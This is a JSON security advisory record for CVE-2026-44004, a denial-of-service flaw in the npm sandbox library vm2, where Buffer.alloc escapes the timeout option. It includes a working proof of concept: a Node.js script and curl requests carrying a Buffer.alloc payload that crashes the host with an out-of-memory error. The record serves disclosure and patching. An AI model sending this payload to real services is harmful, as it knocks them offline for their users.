{"id":"CVE-2026-44004","aliases":["GHSA-6785-pvv7-mvg7"],"url":"https://o3.security/vulnerability/CVE-2026-44004","summary":"vm2: Host Process OOM DoS via Buffer.alloc (Timeout Bypass)","details":"### Summary\nSandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2's `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`.\n\n### Details\nIn `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation.\n\nKey technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`):\n- **JavaScript loops**: V8 can interrupt via timeout — vm2's `timeout` option works\n- **`Buffer.alloc(N)`**: Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt\n\nThis means:\n1. `timeout: 5000` does NOT protect against this attack\n2. A single call allocates the entire requested size at once\n3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash\n\nTested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM({ timeout: 5000 });\n\n// Buffer.alloc bypasses timeout — allocates 100MB on host heap\nconst result = vm.run(`Buffer.alloc(1024*1024*100).length`);\nconsole.log(result); // 104857600 — timeout had no effect\n\n// Control test — JavaScript loop IS caught by timeout\ntry {\n  vm.run(`var a=[]; while(true) a.push(1)`);\n} catch(e) {\n  console.log(e.message); // \"Script execution timed out after 5000ms\"\n}\n```\n\n**HTTP demonstration (OOM crash):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"\\\"alive\\\"\"}'\n# => {\"result\":\"\\\"alive\\\"\"}\n\n# 2. Send Buffer.alloc payload — process crashes with OOM\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"Buffer.alloc(1024*1024*100).length\"}'\n# => empty response (process died)\n\n# 3. Check server logs:\n# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n\n# Control test — JavaScript loop IS caught by timeout:\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var a=[]; while(true) a.push(1)\"}'\n# => {\"errors\":[\"Script execution timed out after 5000ms\"]}\n# Server stays alive — timeout works for JS, but NOT for Buffer.alloc\n```\n\n### Impact\n- **DoS**: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection.\n- **Environment-dependent severity**:\n  - **Memory-constrained environments** (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — `FATAL ERROR: Reached heap limit` was confirmed in testing.\n  - **Unconstrained environments**: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.\n- **Scope**: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.","published":"2026-05-13T17:31:16.281Z","modified":"2026-09-08T03:30:23.577407584Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00419,"percentile":0.34785,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.11.0"}],"fix":null,"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44004.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:50850"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-44004"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44004.json"},{"type":"ADVISORY","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44004"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477195"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-08T03:30:23.577407584Z"}}